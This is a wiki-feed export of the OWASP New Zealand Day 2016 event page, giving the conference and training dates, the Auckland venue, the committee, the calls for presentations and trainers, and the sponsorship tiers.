As well as the main conference on Thursday, we are pleased to be able to provide training on Wednesday at a discounted price. We anticipate a selection of introductory and advanced training topics.&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Training sessions will be announced by XXX, and will be held at the same venue on Wednesday 3 February.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The seventh OWASP New Zealand Day will be happening thanks to the support provided by the University of Auckland, which will kindly offer a slightly different location from last year. Entry to the event will, as in the past, be free.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For any comments, feedback or observations, please don't hesitate to contact [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org&amp;amp;cc=denis.andzakovic@owasp.org us].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Registration==&lt;br /&gt;
&lt;br /&gt;
Registration is not yet open. Please join our low volume [https://lists.owasp.org/mailman/listinfo/owasp-newzealand mailing list] to be notified when registration opens.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Registration for the main conference day is now open: [https://registration.owasp.org.nz/ Conference Registration Here]&lt;br /&gt;
&lt;br /&gt;
There is no cost for the main conference day. Morning and afternoon tea will be provided. Unfortunately due to increased conference running costs, lunch will not be provided as it has been for the past OWASP NZ Days. We do ask that if at any point you realise you cannot make it please cancel your registration to make room for others as spaces are limited.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Training Registration is now open: [http://www.regonline.com/owaspnzday2016trainingandsponsorship Training Registration]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Registration is now closed.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Important dates==&lt;br /&gt;
&lt;br /&gt;
* CFP &amp;amp; CFT submission deadline: 7th December 2015&lt;br /&gt;
* Conference Registration deadline: 21st January 2016&lt;br /&gt;
* Training Registration deadline:   21st January 2016&lt;br /&gt;
* Training Day date:          3rd February 2016&lt;br /&gt;
* Conference Day date:           4th February 2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
For those of you booking flights, ensure you can be at the venue at 8:30am, the conference will end by 5:30pm however we will have post conference drinks at a local drinking establishment for those interested.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Conference Venue==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
   &amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The University of Auckland School of Commerce&amp;lt;br&amp;gt;&lt;br /&gt;
Address: 12 Grafton Road&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Main conference room: Level 1&amp;lt;br&amp;gt;&lt;br /&gt;
Room: 115 (Fisher &amp;amp; Paykel Auditorium)&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Afternoon parallel stream: Level 0&amp;lt;br&amp;gt;&lt;br /&gt;
Room: B5&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Auckland&amp;lt;br&amp;gt;&lt;br /&gt;
New Zealand&amp;lt;br&amp;gt;&lt;br /&gt;
[https://www.google.com/maps/place/Owen+G+Glenn+Building+12+Grafton+Road/@-36.8528203,174.770224,17z/data=!4m6!1m3!3m2!1s0x0000000000000000:0x0205ad91287ba364!2sUniversity+of+Auckland+Graduate+School+of+Enterprise!3m1!1s0x0000000000000000:0xc9d224e5921a6690 Map]&lt;br /&gt;
   &amp;lt;/td&amp;gt;&lt;br /&gt;
   &amp;lt;td&amp;gt;&lt;br /&gt;
[[Image:073_AUBiz_10Apr08small.jpg]] [[Image:MG_0037small.JPG]]&lt;br /&gt;
   &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Conference Sponsors==&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;bottom&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;lt;center&amp;gt;[http://www.auckland.ac.nz/ https://www.owasp.org/images/8/82/University_of_Auckland_crest_small.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;bottom&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;lt;center&amp;gt;[http://www.security.org.nz/NZISF_NZISForumContent.php https://www.owasp.org/images/5/5a/Nz_information_security_forum.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;lt;center&amp;gt;ICT and Department of Information Systems and Operations Management&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Conference Committee==&lt;br /&gt;
&lt;br /&gt;
* Denis Andzakovic - OWASP New Zealand Leader (Auckland)&lt;br /&gt;
* Adrian Hayes -  OWASP New Zealand Leader (Wellington)&lt;br /&gt;
* Kim Carter -  OWASP New Zealand Leader (Christchurch)&lt;br /&gt;
* Lech Janczewski - Associate Professor - University of Auckland School of Business&lt;br /&gt;
&lt;br /&gt;
Please direct all enquiries to denis.andzakovic@owasp.org | adrian.hayes@owasp.org | kim.carter@owasp.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Call For Presentations =&lt;br /&gt;
==Call For Presentations==&lt;br /&gt;
&lt;br /&gt;
OWASP New Zealand Day conferences attract a high quality of speakers from a variety of security disciplines including&lt;br /&gt;
architects, web developers and engineers, system administrators, penetration testers, policy specialists and more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We would like a variety of technical levels in the presentations submitted, corresponding to the three sections of the conference:&lt;br /&gt;
&lt;br /&gt;
* Introductions to various Web Application Security topics, and the OWASP projects&lt;br /&gt;
* Technical topics&lt;br /&gt;
* Policy, Compliance and Risk Management&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The introductory talks should appeal to an intermediate to experienced web developer, without a solid grounding in web application security or knowledge of the OWASP projects. These talks should be engaging, encourage developers to learn more about web application security, and give them techniques that they can immediately return to work and apply to their jobs.&lt;br /&gt;
&lt;br /&gt;
Technical topics in the afternoon should appeal to two audiences - experienced web application security testers or researchers, and web developers who have a “OWASP Top Ten” level of understanding of web attacks and defenses. You could present a lightning, short or long talk on something you have researched, developed yourself, or learnt in your travels. Ideally the topics will have technical depth or novelty so that the majority of attendees learn something new.&lt;br /&gt;
&lt;br /&gt;
For the “Management Stream” in the afternoon we would like to invite talks that will appeal to those interested in the various non-technical topics that are important in our industry. These talks could focus on the development of policies, dealing with compliance obligations, managing risks within an enterprise, or other issues that could appeal to those in management roles.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We encourage presentations to have a strong component on fixing and prevention of security issues. We are looking for presentations on a wide variety of security topics, including but not limited to:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Web application security&lt;br /&gt;
* Mobile security&lt;br /&gt;
* Secure development&lt;br /&gt;
* Vulnerability analysis&lt;br /&gt;
* Threat modelling&lt;br /&gt;
* Application exploitation&lt;br /&gt;
* Exploitation techniques&lt;br /&gt;
* Threat and vulnerability countermeasures&lt;br /&gt;
* Platform or language security (JavaScript, NodeJS, .NET, Java, RoR, etc)&lt;br /&gt;
* Penetration Testing&lt;br /&gt;
* Browser and client security&lt;br /&gt;
* Application and solution architecture security&lt;br /&gt;
* PCI DSS&lt;br /&gt;
* Risk management&lt;br /&gt;
* Security concepts for C*Os, project managers and other non-technical attendees&lt;br /&gt;
* Privacy controls&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The email subject must be &amp;quot;OWASP New Zealand 2016: CFP&amp;quot; and the email body must contain the following information/sections:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Name and Surname&lt;br /&gt;
* Affiliation&lt;br /&gt;
* Telephone number&lt;br /&gt;
* Email address&lt;br /&gt;
* Short presenter bio&lt;br /&gt;
* Title of the contribution&lt;br /&gt;
* Type of contribution: Technical, Informative, Management&lt;br /&gt;
* Suggested length for the talk&lt;br /&gt;
* Short abstract (up to 500 words)&lt;br /&gt;
* List of the author's previous papers/articles/speeches on the same/similar topic (if any)&lt;br /&gt;
* If you are not from New Zealand, will your company support your travel/accommodation costs? - Yes/No&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The submission will be reviewed by the OWASP New Zealand Day conference committee and the highest voted talks will be selected and invited for presentation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PLEASE NOTE:&lt;br /&gt;
&lt;br /&gt;
* Due to limited budget available, expenses for international speakers cannot be covered.&lt;br /&gt;
* If your company is willing to cover travel and accommodation costs, the company will become &amp;quot;Support Sponsor&amp;quot; of the event.&lt;br /&gt;
&lt;br /&gt;
Please submit the above information to all of the following: Denis Andzakovic (denis.andzakovic@owasp.org), Adrian Hayes (adrian.hayes@owasp.org) and Kim Carter (kim.carter@owasp.org).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Submissions deadline: 7th December 2015&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Call For Trainers =&lt;br /&gt;
== Call For Trainers ==&lt;br /&gt;
&lt;br /&gt;
We are happy to announce that training will run on Wednesday February 3rd 2016, the day before the OWASP Day conference.&lt;br /&gt;
The training venue will be Level 0, Room: 40C, kindly provided by the University of Auckland School of Commerce, in the same building as the OWASP NZ Day conference itself.&lt;br /&gt;
Classes will contain up to 48 students, with power for laptop usage and Wi-Fi. A wide range of half-day or full-day training proposals will be considered,&lt;br /&gt;
see the Call for Papers for a list of example topics.&lt;br /&gt;
&lt;br /&gt;
If you are interested in running one of the training sessions, please contact Denis Andzakovic, Adrian Hayes and Kim Carter with the following information:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Trainer name&lt;br /&gt;
* Trainer organisation&lt;br /&gt;
* Telephone + email contact&lt;br /&gt;
* Short Trainer bio&lt;br /&gt;
* Training title&lt;br /&gt;
* Trainer requirements (e.g. a projector, whiteboard, etc)&lt;br /&gt;
* Trainee requirements (e.g. laptop, VMware/VirtualBox, etc)&lt;br /&gt;
* Training summary (less than 500 words)&lt;br /&gt;
* Target audience (e.g. testers, project managers, security managers, web developers, architects)&lt;br /&gt;
* Skill level required (Basic / Intermediate / Advanced)&lt;br /&gt;
* What attendees can expect to learn (key objectives)&lt;br /&gt;
* Short course outline&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The fixed price per head for training will be $250 for a half-day session and $500 for a whole-day session. As this training is part of an OWASP event, part of the proceeds go back to OWASP. The split is as follows:&lt;br /&gt;
&lt;br /&gt;
* 25% to OWASP Global - used for OWASP projects around the world&lt;br /&gt;
* 25% to OWASP NZ Day - used for expenses such as catering during the conference&lt;br /&gt;
* 50% to the training provider.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Please submit the above information to all of the following:&lt;br /&gt;
* Denis Andzakovic (denis.andzakovic@owasp.org)&lt;br /&gt;
* Adrian Hayes (adrian.hayes@owasp.org)&lt;br /&gt;
* Kim Carter (kim.carter@owasp.org).&lt;br /&gt;
&lt;br /&gt;
Submissions deadline: 7th December 2015&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Call For Sponsorships =&lt;br /&gt;
==Call For Sponsorships==&lt;br /&gt;
&lt;br /&gt;
OWASP New Zealand Day 2016 will be held in Auckland on the 4th of February, 2016 and is a security conference entirely dedicated to application security.&lt;br /&gt;
The conference is once again being hosted by the University of Auckland with their support and assistance.&lt;br /&gt;
OWASP New Zealand Day 2016 is a free event, but requires sponsor support to help be an instructive and quality event for the New Zealand community.&lt;br /&gt;
OWASP is strictly not for profit. The sponsorship money will be used to help make OWASP New Zealand Day 2016 a free, compelling, and valuable experience for all attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The sponsorship funds collected are to be used for things such as:&lt;br /&gt;
&lt;br /&gt;
* Refreshments (coffee breaks) - we want to keep people refreshed during the day.&lt;br /&gt;
* Name tags - we feel that getting to know people within the New Zealand community is important, and name tags make that possible.&lt;br /&gt;
* Promotion - up to now our events are propagating by word of mouth. We would like to get to a wider audience by advertising our events.&lt;br /&gt;
* Printed Materials - printed materials will include brochures, tags and lanyards.&lt;br /&gt;
&lt;br /&gt;
== Facts ==&lt;br /&gt;
&lt;br /&gt;
Last year, the event was supported by eight sponsors and attracted more than 230 participants. Plenty of constructive (and positive!) feedback from the audience was received and we are using this to make the conference more appealing to more people. For more information on the last New Zealand Day event, please visit: https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2015&lt;br /&gt;
&lt;br /&gt;
The OWASP New Zealand community is strong, there are more than 410 people currently subscribed to the mailing-list. OWASP New Zealand Day is expected to attract between 400 and 500 attendees this year.&lt;br /&gt;
&lt;br /&gt;
OWASP regular attendees are IT project managers, IT security managers, IT security consultants, web application architects and developers, QA managers, QA testers and system administrators.&lt;br /&gt;
&lt;br /&gt;
== Sponsorships  ==&lt;br /&gt;
&lt;br /&gt;
There are three different levels of sponsorships for the OWASP Day event:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Support Sponsorship&amp;lt;/b&amp;gt;: (Covering international speaker travel expenses, media coverage/article/promotion of the event)&lt;br /&gt;
   &lt;br /&gt;
Includes:&lt;br /&gt;
&lt;br /&gt;
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Silver Sponsorship&amp;lt;/b&amp;gt;: 1500 NZD&lt;br /&gt;
&lt;br /&gt;
Includes: &lt;br /&gt;
&lt;br /&gt;
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016&lt;br /&gt;
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.&lt;br /&gt;
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Gold Sponsorship&amp;lt;/b&amp;gt;: 2750 NZD&lt;br /&gt;
&lt;br /&gt;
Includes: &lt;br /&gt;
&lt;br /&gt;
* The possibility to have a promotional banner or sign side stage in the main auditorium (to be provided by the sponsor, size subject to approval by the OWASP NZ Day Committee).&lt;br /&gt;
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.&lt;br /&gt;
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.&lt;br /&gt;
* Publication of the sponsor logo on the OWASP New Zealand Chapter page - Sponsor logo on the OWASP NZ site prior and during the OWASP Day event - https://www.owasp.org/index.php/New_Zealand&lt;br /&gt;
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Those who are interested in sponsoring OWASP New Zealand 2016 Conference can contact the [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org?cc=denis.andzakovic@owasp.org OWASP New Zealand Board].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP AppSec Conference]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	</feed>